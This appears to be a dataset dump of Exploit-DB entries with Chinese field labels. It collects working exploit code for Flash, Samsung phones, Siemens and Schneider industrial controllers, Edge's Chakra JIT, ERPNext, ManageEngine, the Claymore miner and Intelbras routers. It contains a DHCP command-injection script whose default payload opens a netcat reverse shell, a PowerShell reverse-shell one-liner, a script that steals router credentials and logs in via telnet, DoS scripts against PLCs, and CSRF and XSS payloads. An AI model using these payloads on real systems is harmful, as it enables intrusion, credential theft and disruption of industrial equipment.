QLWD/code_shield huggingface dataset:
标题: Flash ActiveX 28.0.0.137 - Code Execution (2) EDB-ID: 44745 CVE: 2018-4878 类型: LOCAL 平台: WINDOWS 发布日期: 2016-02-13 漏洞利用脚本: ## CVE-2018-4878 

Pop up a calculator - Requires Flash ActiveX 28.0.0.137

Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44745.swf URL: https://www.exploit-db.com/exploits/44745
标题: Flash ActiveX 18.0.0.194 - Code Execution EDB-ID: 44742 CVE: 2015-5112 类型: LOCAL 平台: WINDOWS 发布日期: 2018-02-13 漏洞利用脚本: ## CVE-2015-5112

Pop up a calculator - Requires Flash ActiveX 18.0.0.194

Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44742.swf URL: https://www.exploit-db.com/exploits/44742
标题: Samsung Galaxy S7 Edge - Overflow in OMACP WbXml String Extension Processing EDB-ID: 44724 CVE: 2018-10751 类型: DOS 平台: ANDROID 发布日期: 2018-05-23 漏洞利用脚本: OMACP is a protocol supported by many mobile devices which allows them to receive provisioning information over the mobile network. One way to provision a device is via a WAP push SMS message containing provisioning information in WbXML.

A malformed OMACP WAP push message can cause memory corruption on a Samsung S7 Edge device when processing the String Extension portion of the WbXml payload. This is due to an integer overflow in memory allocation for this string.

While OMACP WAP pushes require authentication, the entire WbXml payload of a push is parsed to extract the credentials, so this bug occurs pre-authentication.

To reproduce the issue:

1) install the attached Android application on a different phone than the one being tested for the issue
2) manually give the application SMS permissions in the settings screen
3) start the app and enter the phone number on the target device
4) press the "send wap push" button

The target phone will crash:

02-20 15:52:56.952 15197 15197 F DEBUG   : pid: 15180, tid: 15196, name: IntentService[S  >>> com.wsomacp <<<
02-20 15:52:56.952 15197 15197 F DEBUG   : signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0x731a800000

The WAP payload causing this problem is:

690b6d0733b401506694f4c6504cf6be7224df6199a9c0ec4b76db1f6e262c457fc0553dbb50863dfce2d5c55077c3ffffffff7f777777770A0604B6B6B6B6.

Code for the test app is also attached.

This was tested on Samsung build number NRD90M.G93FXXU1DQJ8, which is the most recent update on my device


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44724.zip URL: https://www.exploit-db.com/exploits/44724
标题: Siemens SCALANCE S613 - Remote Denial of Service EDB-ID: 44721 CVE: 2016-3963 类型: DOS 平台: LINUX 发布日期: 2018-05-23 漏洞利用脚本: # Exploit Title: Siemens SCALANCE S613 - Remote Denial of Service 
# Date: 2018-05-23
# Exploit Author: t4rkd3vilz
# Vendor Homepage: https://www.siemens.com/
# Version: SCALANCE S613 (MLFB: 6GK5613-0BA00-2AA3): All versions.
# Tested on: Kali Linux
# CVE: CVE-2016-3963

#!/usr/bin/python

import socket import sys if len(sys.argv) < 2: print('Usage: ' +
sys.argv[0] + ' [target]') sys.exit(1) print('Sending packet to ' +
sys.argv[1] + ' ...') payload = bytearray('11 49 00 00 00 00 00 00 00 00 00
00 00 00 00 00 28 9E'.replace(' ', '').decode('hex')) sock =
socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.sendto(payload,
(sys.argv[1], 5000000)) URL: https://www.exploit-db.com/exploits/44721
标题: MakeMyTrip 7.2.4 - Information Disclosure EDB-ID: 44690 CVE: 2018-11242 类型: LOCAL 平台: ANDROID 发布日期: 2018-05-22 漏洞利用脚本: # Exploit Title: Android Application MakeMyTrip 7.2.4 - Unencrypted Database Files
# Date: 2018-05-21
# Software Link: MakeMyTrip v7.2.4 Android Application 
# Exploit Author: Divya Jain
# Version: 7.2.4 Android App
# CVE: CVE-2018-11242
# Category: Mobileapps
# Tested on: Android v5.1

# 1. Description
# Android application folder was found to contain SQLite database files in the following subdirectory
# data/com.makemytrip/Cache and data/com.makemytrip/databses. This directory is used to store the application’s databases. 
# The confidential information can be retrieved from the SQLite databases and stored in cleartext.  
# As an impact it is known to affect confidentiality, integrity, and availability.

# 2. Proof-of-Concept
# The successful exploitation needs a single authentication and filesystem can be accessed, after rooting an android device.
# After accessing the directories below

/data/com.makemytrip/databases/
/data/com.makemytrip/cache/

# Above directories can be seen with unencrypted version of database files stored in the device
# which can further lead to sensitive information disclosure. URL: https://www.exploit-db.com/exploits/44690
标题: Microsoft Edge Chakra JIT - Magic Value Type Confusion EDB-ID: 44694 CVE: 2018-0953 类型: DOS 平台: WINDOWS 发布日期: 2018-05-22 漏洞利用脚本: /*
BOOL JavascriptNativeFloatArray::SetItem(uint32 index, double dValue)
{
    if (*(uint64*)&dValue == *(uint64*)&JavascriptNativeFloatArray::MissingItem)
    {
        JavascriptArray *varArr = JavascriptNativeFloatArray::ToVarArray(this);
        varArr->DirectSetItemAt(index, JavascriptNumber::ToVarNoCheck(dValue, GetScriptContext()));
        return TRUE;
    }

    this->DirectSetItemAt<double>(index, dValue);
    return TRUE;
}

As you can see above, if the double value given as the parameter equals to JavascriptNativeFloatArray::MissingItem, it converts the float array to a var array. Since the input value is not checked in the JITed code, it can lead to type confusion.
*/

function opt(arr, value) {
    arr[1] = value;
    arr[0] = 2.3023e-320;
}

function main() {
    for (let i = 0; i < 0x10000; i++)
        opt([1.1], 2.2);

    let arr = [1.1];
    opt(arr, -5.3049894784e-314);  // MAGIC VALUE!

    print(arr);
}

main(); URL: https://www.exploit-db.com/exploits/44694
标题: Siemens SIMATIC S7-1200 CPU - Cross-Site Scripting EDB-ID: 44687 CVE: 2014-2908 类型: WEBAPPS 平台: LINUX 发布日期: 2018-05-22 漏洞利用脚本: # Exploit Title: Siemens SIMATIC S7-1200 CPU - Cross-Site Scripting
# Google Dork: inurl:/Portal/Portal.mwsl
# Date: 2018-05-22
# Exploit Author: t4rkd3vilz, Jameel Nabbo
# Vendor Homepage: https://www.siemens.com/
# Version: SIMATIC S7-1200 CPU family Versions: V2.X and V3.X.
# Tested on: Kali Linux
# CVE: CVE-2014-2908

http://TargetIp/Portal/Portal.mwsl?PriNav=Bgz&filtername=Name&filtervalue=
<http://targetip/Portal/Portal.mwsl?PriNav=Bgz&filtername=Name&filtervalue=>"><img
src=x onerror=prompt(1);>&Send=Filter URL: https://www.exploit-db.com/exploits/44687
标题: ERPnext 11 - Cross-Site Scripting EDB-ID: 44691 CVE: 2018-11339 类型: WEBAPPS 平台: JAVA 发布日期: 2018-05-22 漏洞利用脚本: # Exploit Title: ERPnext 11.x.x - Cross-Site Scripting
# Date: 2018-05-10
# Exploit Author: Veerababu Penugonda
# Vendor Homepage: https://erpnext.com/
# Software Link: https://demo.erpnext.com/
# Version: Frappe ERPNext v11.x.x-develop
# Tested on: Mozilla Firefox quantum 60.1 , Ubuntu OS
# CVE : CVE-2018-11339

# 1. Description:
# https://demo.erpnext.com/desk#Form/Asset%20Repair/ARLOG-000015
# and functionality “Comment” is vulnerable to XSS like Stored ,
# Reflected , Cookie , possible for more

# 2. Payload : 

"><script>alert(1)</script> URL: https://www.exploit-db.com/exploits/44691
标题: Microsoft Windows - 'POP/MOV SS' Privilege Escalation EDB-ID: 44697 CVE: 2018-8897 类型: LOCAL 平台: WINDOWS 发布日期: 2018-05-22 漏洞利用脚本: Demo exploitation of the POP SS vulnerability (CVE-2018-8897), leading to unsigned code execution with kernel privilages.

- KVA Shadowing should be disabled and the relevant security update should be uninstalled.
- This may not work with certain hypervisors (like VMWare), which discard the pending #DB after INT3.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44697.zip URL: https://www.exploit-db.com/exploits/44697
标题: Siemens SIMATIC S7-1500 CPU - Remote Denial of Service EDB-ID: 44693 CVE: 2014-5074 类型: DOS 平台: LINUX 发布日期: 2018-05-22 漏洞利用脚本: # Exploit Title: Siemens SIMATIC S7-1500 CPU - Remote Denial of Service
# Google Dork: inurl:/Portal/Portal.mwsl
# Date: 2018-05-22
# Exploit Author: t4rkd3vilz, Jameel Nabbo
# Vendor Homepage: https://www.siemens.com/
# Version: SIMATIC S7-1500 CPU all versions before V1.6
# Tested on: Kali Linux
# CVE: CVE-2014-5074


#!/usr/bin/python

import socket import sys from time import sleep if
len(sys.argv) != 2: print "Usage: exploit.py <ip>" sys.exit(0) for x in
range(1,50): s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#vulnerable TCP port 102 connect=s.connect((str(sys.argv[1]), 102))
s.send('some evil string \r\n\n') print "bufff " + str(x) + " sent...\n"
result=s.recv(1024) print result s.close() sleep(7) URL: https://www.exploit-db.com/exploits/44693
标题: Schneider Electric PLCs - Cross-Site Request Forgery EDB-ID: 44678 CVE: 2013-0663 类型: WEBAPPS 平台: WINDOWS 发布日期: 2018-05-21 漏洞利用脚本: # Exploit Title: Schneider Electric PLCs - Cross-Site Request Forgery
# Date: 2018-05-12
# Exploit Author: t4rkd3vilz
# Vendor Homepage: http://www.schneider-electric.com/
# Tested on: Windows
# CVE: CVE-2013-0663
# Version: Schneider Electric Quantum PLC: 140NOE77111, 140NOE77101, 140NWM10000
# Modicon M340 PLC: BMXNOC0401, BMXNOE0100x, BMXNOE011xx
# Premium PLC: TSXETY4103, TSXETY5103, and TSXWMY100
# Category: webapps

<html>
<head>
    <title>CSRF POC</title>
</head>
<body>
    <form method="get" action="http://TargetIP/secure/embedded/builtin" name="sample" onSubmit="return validateForm()">
<table border="0" cellspacing="0" cellpadding="0" width="300" style="height: 100" bgcolor="#C0C0C0">
<tr>
<td class="inputCell" width="200">
<div align="left">
<h5>Name:</h5>
<script language="javascript" type="text/javascript">
<!--//
paramLang();
switch(getLanguage())
{

default:
document.write("Username :"); break;
}
//-->
</script>
</div>
</td>
<td class="inputCell" width="190">
<input type="text" name="user" size="20">
</td>
</tr>
<tr>
<td class="inputCell" width="200">
<div align="left">&
<h5>Pass:</h5>
<script language="javascript" type="text/javascript">
<!--//
switch(getLanguage())
{
default:
document.write("New password :"); break;
}
//-->
</script>
</div>
</td>
<td class="inputCell" width="190">
<input type="password" name="passwd" size="20">
</td>
</tr>
<tr>
<td class="inputCell" width="200">
<div align="left">
<h5>Verify Pass:</h5>
<script language="javascript" type="text/javascript">
<!--//
switch(getLanguage())
{

default:
document.write("Confirm password :"); break;
}
//-->
</script>
</div>
</td>
<td class="inputCell" width="190">
<input type="password" name="cnfpasswd" size="20">
</td>
</tr>
</table>
<br>
<div align="center">
<script language="javascript" type="text/javascript">
<!--//
switch(getLanguage())
{

default:
document.write('<input type="submit" name="subhttppwd" value="Change Password">'); break;
}
//-->
</script>
<input type="submit" name="subhttppwd" value="Change Password">
</div>
</form>
<br>
</td>
</tr>
<tr>
<td align="center">
<br>

</body>
</html> URL: https://www.exploit-db.com/exploits/44678
标题: ManageEngine Recovery Manager Plus 5.3 - Cross-Site Scripting EDB-ID: 44666 CVE: 2018-9163 类型: WEBAPPS 平台: JAVA 发布日期: 2018-05-21 漏洞利用脚本: # Exploit Title: ManageEngine Recovery Manager Plus 5.3 (Build 5330) - Persistent Cross-Site Scripting
# Dated: 2018-03-31
# Exploit Author: Ahmet GÜREL
# Software Link: https://www.manageengine.com/ad-recovery-manager/
# Version: < = 5.3 (Build 5330)
# Platform: Java
# Tested on: Windows
# CVE: CVE-2018-9163

# 1. DETAILS
# In the Add New Technician (s) section on the /admin/technicians page of the
# ManageEngine Recovery Manager Plus 5.3 (Build 5330) application, allows
# remote authenticated users with the Login Name parameter is vulnerable to
# XSS. The parameters entered are written in the database and affect all
# users.

# 2. PoC:
# From the Add New Technician (s) page, it is possible to inject malicious
# web code inside Login Name parameter. The HTTP request looks like the following:

GET
/technicianAction.do?req={%22domainId%22:0,%22loginName%22:%22%3Csvg%20onload%3Dprompt(document.domain)%3E%22,%22password%22:%22Test123%22,%22isDomainUser%22:false,%22roleId%22:1,%22operation%22:%22createTechnicians%22}
HTTP/1.1
Host: 172.16.219.168:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:59.0)
Gecko/20100101 Firefox/59.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://172.16.219.168:8090/
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Cookie: JSESSIONIDRMP=64556C394C0687AA34179CFE2EF4EA5A;
JSESSIONIDSSO=0605E8EB825B181A4A201542A518457D
Connection: close URL: https://www.exploit-db.com/exploits/44666
标题: Siemens SIMATIC S7-1200 CPU - Cross-Site Request Forgery EDB-ID: 44667 CVE: 2015- 5698 类型: WEBAPPS 平台: LINUX 发布日期: 2018-05-21 漏洞利用脚本: # Exploit Title: Siemens SIMATIC S7-1200 CPU - Cross-Site Request Forgery
# Google Dork: inurl:/Portal/Portal.mwsl
# Date: 2018-05-21
# Exploit Author: t4rkd3vilz, Jameel Nabbo
# Vendor Homepage: https://www.siemens.com/
# Version: SIMATIC S7-1200 CPU family: All versions prior to V4.1.3
# Tested on: Kali Linux
# CVE: CVE-2015- 5698

# 1. Proof of Concept

<form method="POST" action="http://targetIp/CPUCommands">
    <input name="PriNav" value="Start">
    <input type="submit" value="Go!">
</form> URL: https://www.exploit-db.com/exploits/44667
标题: DynoRoot DHCP Client - Command Injection EDB-ID: 44652 CVE: 2018-1111 类型: LOCAL 平台: LINUX 发布日期: 2018-05-18 漏洞利用脚本: # Exploit Title: DynoRoot DHCP - Client Command Injection
# Date: 2018-05-18
# Exploit Author: Kevin Kirsche
# Exploit Repository: https://github.com/kkirsche/CVE-2018-1111
# Exploit Discoverer: Felix Wilhelm
# Vendor Homepage: https://www.redhat.com/
# Version: RHEL 6.x / 7.x and CentOS 6.x/7.x
# Tested on: CentOS Linux release 7.4.1708 (Core)  / NetworkManager 1.8.0-11.el7_4
# CVE : CVE-2018-1111

#!/usr/bin/env python

from argparse import ArgumentParser
from scapy.all import BOOTP_am, DHCP
from scapy.base_classes import Net


class DynoRoot(BOOTP_am):
    function_name = "dhcpd"

    def make_reply(self, req):
        resp = BOOTP_am.make_reply(self, req)
        if DHCP in req:
            dhcp_options = [(op[0], {1: 2, 3: 5}.get(op[1], op[1]))
                            for op in req[DHCP].options
                            if isinstance(op, tuple) and op[0] == "message-type"]
            dhcp_options += [("server_id", self.gw),
                             ("domain", self.domain),
                             ("router", self.gw),
                             ("name_server", self.gw),
                             ("broadcast_address", self.broadcast),
                             ("subnet_mask", self.netmask),
                             ("renewal_time", self.renewal_time),
                             ("lease_time", self.lease_time),
                             (252, "x'&{payload} #".format(payload=self.payload)),
                             "end"
                             ]
            resp /= DHCP(options=dhcp_options)
        return resp


if __name__ == '__main__':
    parser = ArgumentParser(description='CVE-2018-1111 DynoRoot exploit')

    parser.add_argument('-i', '--interface', default='eth0', type=str,
                        dest='interface',
                        help='The interface to listen for DHCP requests on (default: eth0)')
    parser.add_argument('-s', '--subnet', default='192.168.41.0/24', type=str,
                        dest='subnet', help='The network to assign via DHCP (default: 192.168.41.0/24)')
    parser.add_argument('-g', '--gateway', default='192.168.41.254', type=str,
                        dest='gateway', help='The network gateway to respond with (default: 192.168.41.254)')
    parser.add_argument('-d', '--domain', default='victim.net', type=str,
                        dest='domain', help='Domain to assign (default: victim.net)')
    parser.add_argument('-p', '--payload', default='nc -e /bin/bash 192.168.41.2 1337', type=str,
                        dest='payload', help='The payload / command to inject (default: nc -e /bin/bash 192.168.41.2 1337)')

    args = parser.parse_args()
    server = DynoRoot(iface=args.interface, domain=args.domain,
                      pool=Net(args.subnet),
                      network=args.subnet,
                      gw=args.gateway,
                      renewal_time=600, lease_time=3600)
    server.payload = args.payload

    server() URL: https://www.exploit-db.com/exploits/44652
标题: Powerlogic/Schneider Electric IONXXXX Series - Cross-Site Request Forgery EDB-ID: 44640 CVE: 2016-5809 类型: WEBAPPS 平台: LINUX 发布日期: 2018-05-17 漏洞利用脚本: # Exploit Title: Powerlogic Schneider Electric IONXXXX Series - Cross-Site Request Forgery
# Date: 2018-05-17
# Exploit Author: t4rkd3vilz
# Vendor Homepage: http://www.schneider-electric.com/
# Version: ION73XX series, ION75XX series, ION76XX series, ION8650 series, ION8800 series, PM5XXX series.
# Tested on: All Version
# CVE : CVE-2016-5809

# PoC


<form name="frmConfig" action="http://TargetIp/SetupReceipt.html
<http://targetip/SetupReceipt.html>" method="post">
select name="PMLSel_0x7800">
<option selected="selected">9S - 4 Wire Wye/Delta</option>
<option>35S - 3 Wire</option>
<option>36S - 4 Wire Wye</option>
<option>DEMO</option>
</select>
<select name="PMLSel_0x7a4a">
<option selected="selected">Normal</option>
<option>Inverted</option>
</select>
<input type="text" name="PMLIFl_0x7000" size="15" value="480.00"/>
<select name="PMLSel_0x7a4b">
<option selected="selected">Normal</option>
<option>Inverted</option>
</select>
<input type="text" name="PMLIFl_0x7001" size="15" value="480.00"/>
<select name="PMLSel_0x7a4c">
<option selected="selected">Normal</option>
<option>Inverted</option>
</select>
<input type="text" name="PMLIFl_0x7002" size="15" value="200.00"/>
<input type="text" name="PMLIFl_0x7003" size="15" value="5.00"/>
<select name="PMLSel_0x7801">
<option selected="selected">Normal</option>
<option>Inverted</option>
</select>
<select name="PMLSel_0x7802">
<option selected="selected">Normal</option>
<option>Inverted</option>
</select>
<select name="PMLSel_0x7803">
<option selected="selected">Normal</option>
<option>Inverted</option>
</select>
<input type="text" name="PMLIFl_0x7004" size="15" value="5.00"/>
<select name="PMLSel_0x7a49">
<option selected="selected">Normal</option>
<option>Inverted</option>
</select>
<input type="text" name="PMLIFl_0x7005" size="15" value="5.00"/>
<input type="text" name="PMLIFl_0x721a" size="15" value="0.00"/>
<input type="text" name="PMLIStr_0x1345" size="15" value="EPMAPS"/>
<input type="text" name="PMLIFl_0x70b4" size="15" value="900.00"/>
<input type="text" name="PMLIStr_0x1346" size="15" value="POZO SAN"/>
<input type="text" name="PMLIFl_0x70c4" size="15" value="1.00"/>
<input type="text" name="PMLIStr_0x1347" size="15" value="ANTONIO PICHIN."/>
<input type="text" name="PMLIFl_0x70d4" size="15" value="70.00"/>
<input type="submit" class="btn" value="Save" name="Submit22" />
</form> URL: https://www.exploit-db.com/exploits/44640
标题: Nanopool Claymore Dual Miner 7.3 - Remote Code Execution EDB-ID: 44638 CVE: 2018-1000049 类型: REMOTE 平台: WINDOWS 发布日期: 2018-05-17 漏洞利用脚本: # Exploit Title: Nanopool Claymore Dual Miner >= 7.3 Remote Code Execution
# Date: 2018/02/09
# Exploit Author: ReverseBrain
# Vendor Homepage: https://nanopool.org/
# Software Link: https://github.com/nanopool/Claymore-Dual-Miner
# Version: 7.3 and later
# Tested on: Windows, Linux
# CVE : 2018-1000049

Suppose the miner is running on localhost on port 3333. First of all you need to convert a .bat string into hexadecimal format, for example, this one uses powershell to spawn a reverse shell on localhost listening on port 1234:

powershell.exe -Command "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Convert it into hexadecimal and paste it on the second parameter inside this string:

echo '{"id":0,"jsonrpc":"2.0","method":"miner_file","params":["reboot.bat","HEX_STRING"]}' | nc 127.0.0.1 3333 -v

Then, to trigger the vulnerability just send {"id":0,"jsonrpc":"2.0","method":"miner_reboot"}
string to the miner.

echo '{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}' | nc 127.0.0.1 3333 -v

You got the shell!

This exploit works also on Linux, just substitute reboot.bat with reboot.bash or reboot.sh. URL: https://www.exploit-db.com/exploits/44638
标题: Intelbras NCLOUD 300 1.0 - Authentication bypass EDB-ID: 44637 CVE: 2018-11094 类型: WEBAPPS 平台: HARDWARE 发布日期: 2018-05-17 漏洞利用脚本: # coding: utf-8
# Exploit Title: Intelbras NCloud Authentication bypass
# Date: 16/05/2018
# Exploit Author: Pedro Aguiar - pedro.aguiar@kryptus.com
# Vendor Homepage: http://www.intelbras.com.br/
# Software Link: http://www.intelbras.com.br/empresarial/wi-fi/para-sua-casa/roteadores/ncloud
# Version: 1.0
# Tested on: Linux
# CVE : CVE-2018-11094
# Description: As described here: https://blog.kos-lab.com/Hello-World/ the Ncloud 300 device does not properly
# enforce authentication, allowing an attacker to remotely download the configurations backup ('/cgi-bin/ExportSettings.sh').
# The configurations backup file contains the web interface username and password. 
# Also, there are hardcoded credentials in the telnet service (root:cary), in cases where root user does not exist, 
# it was replaced by the web interface credentials. This exploit downloads the backup file and tries to use the credentials
# to log into the device using telnet.

import sys
import requests
import telnetlib
import re

def help():
    print 'Usage: '
    print 'python exploit.py http://192.168.0.1'

def pop_shell(host, user, password):
    if(user == "root"):
        print '[+] Trying default credentials: root:cary'
    else:
        print '[+] Trying credentials obtained from /cgi-bin/ExportSettings.sh'
        with open('NCLOUD_config.dat', "r") as f:
            content = f.read()
            user = content.split("Login=")[1].split("\n")[0]
            password = content.split("Password=")[1].split("\n")[0]
            #print 'User: '+ user
            #print 'Password: '+ password
            f.close()
    try:
            ip = re.findall( r'[0-9]+(?:\.[0-9]+){3}', host)[0]
            tn = telnetlib.Telnet(ip, 23, timeout=10)
            tn.expect(["WORKGROUP login:"], 5)
            tn.write(user + "\r\n")
            tn.expect(["Password:"], 5)
            tn.write(password + "\r\n")
            i = tn.expect(["Login incorrect"], 5)
            if i[0] != -1:
                raise ValueError('[-] Wrong credential')
            tn.write("cat /proc/cpuinfo\r\n")
            tn.interact()

            tn.close()
    except Exception as e:
        print e
        if(user == "root"):
            pop_shell(host, 'try', 'again')

def exploit(host):
    print '[*] Connecting to %s' %host
    path = '/cgi-bin/ExportSettings.sh'
    payload = 'Export=Salvar'

    response = requests.post(host + path, data=payload)
    response.raise_for_status()

    if(response.status_code == 200 and "Login=" in response.text):
        print '[+] Config download was successful'
        print '[+] Saving backup file to NCLOUD_config.dat'
        with open('NCLOUD_config.dat', "w") as f:
            f.write(response.text)
            f.close()
        pop_shell(host, "root", "cary")
def main():
    if len(sys.argv) < 2 or not sys.argv[1].startswith('http://'):
        help()
        return
    host = sys.argv[1]
    exploit(host)

if __name__ == '__main__':
    main() URL: https://www.exploit-db.com/exploits/44637